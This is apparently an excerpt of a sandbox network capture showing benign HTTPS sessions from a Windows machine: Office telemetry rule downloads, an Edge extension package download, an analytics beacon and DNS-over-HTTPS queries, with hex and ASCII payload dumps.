2024-11-11 18:17:51 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 30996da0-701e-006f-5cd5-33afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181751Z-174f7845968nxc96hC1EWRspw80000000530000000006dc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:51 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49821	142.250.185.225	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:51 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY395AUzA8Ic79VMCxg1dmLV8Ro5b8eQ4rla2MRsxEXY9RrI6aVz3deA2VvBymLwDXh8AMcDUTaHEA X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 10 Nov 2024 20:33:29 GMT Expires: Mon, 10 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 78262 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-11 18:17:51 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-11 18:17:51 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-11 18:17:51 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-11 18:17:51 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-11 18:17:51 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-11 18:17:51 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-11 18:17:51 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-11 18:17:51 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-11 18:17:51 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-11 18:17:51 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 45a856d6-001e-0017-5bd5-330c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181751Z-174f7845968t42glhC1EWRa36w000000050g00000000ds6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	49805	18.244.18.38	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	925	OUT	GET /b?rn=1731349070732&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=021090CBA3AE69423B8585FFA2C968AB&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:51 UTC	956	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 11 Nov 2024 18:17:51 GMT Location: /b2?rn=1731349070732&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=021090CBA3AE69423B8585FFA2C968AB&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=109457351b256f420a84a3b1731349071; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=109457351b256f420a84a3b1731349071; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 92818640c38efb006e1c39f31234144c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: k3_5lrHyZGrXTqMuZkgFVhWIW-mw26DpAdz-atdXMZFpYcXYxikWUQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	49830	162.159.61.3	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 18:17:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 18:17:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 18:17:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e10481169c47ca8-EWR alt-svc: h3=":443"; ma=86400
2024-11-11 18:17:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49829	172.64.41.3	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 18:17:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 18:17:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 18:17:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e1048116e890f85-EWR alt-svc: h3=":443"; ma=86400
